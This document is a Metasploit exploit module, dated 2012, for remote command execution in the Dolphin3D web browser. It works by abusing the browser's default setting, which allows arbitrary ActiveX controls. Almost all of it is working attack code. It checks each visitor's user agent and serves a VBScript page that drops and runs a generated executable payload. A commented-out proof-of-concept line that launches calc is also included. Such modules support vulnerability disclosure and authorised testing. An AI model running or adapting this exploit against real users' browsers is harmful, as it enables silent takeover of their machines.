##
#
# Dolphin3D web browser ActiveX Remote Command Execution
#
# Date: Dez 9 2012
# Author: Rh0
# Affected Version: Dolphin3D 1.52 and 1.60
# Tested on: Windows XP Professional SP3 EN
#
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {}) 
        super(update_info(info,
            'Name'           => 'Dolphin3D web browser ActiveX Exec',
            'Description'    => %q{ 
                    This module exploits the default security setting in the
                Dolphin3D web browser. The default security setting ("cautious")
                allows arbitrary ActiveX Controls, thus remote command execution.
                           },
                ## NOTE: There exists a higher security setting called "jungle-safe".
                ## It disables javascript/vbscript completely, which is the
                ## the only measure to forbit unsafe ActiveX Objects.
                ## bug vs. feature :) see: http://www.dolphin3d.com/safest.html
            'Author'         =>  
                [   
                    'Rh0 <rh0[at]z1p.biz>',  # discovery and metasploit module
                ],
            'Targets'        =>  
                [   
                    [ 'Windows - Dolphin3D Browser 1.52 and 1.60',
                        {   
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }   
                    ],  
                ], 
            'DefaultTarget'  => 0,
            'Platform'       => ['win'],
            'DisclosureDate' => "Dez 9 2012"
        ))
    end

    def on_request_uri(cli,request)
        agent = request.headers['USER-AGENT']
        if request.uri =~ /\.ico/
            print_status("Ignoring request for #{request.uri}")
            send_not_found(cli)
        ## dolphin user agent ends with "Avant Browser)"
        ## could conflict with Avant Browser, see
        ## http://www.useragentstring.com/_uas_Avant%20Browser_version_.php)
        elsif agent =~ /Avant Browser\)$/
            print_status("Sending vbs payload")
            send_response(cli,exe_script,{"Content-Type" => "text/html"})
        else
            print_status("Ignoring request from #{agent}")
            send_not_found(cli)
        end
    end

    def exe_script()
        exe = generate_payload_exe()
        vbs = Msf::Util::EXE.to_exe_vbs(exe)
        #vbs = 'CreateObject("wscript.shell").run"calc",1,false'    # PoC
        return "<script language=vbscript>#{vbs}</script>"
        
    end
end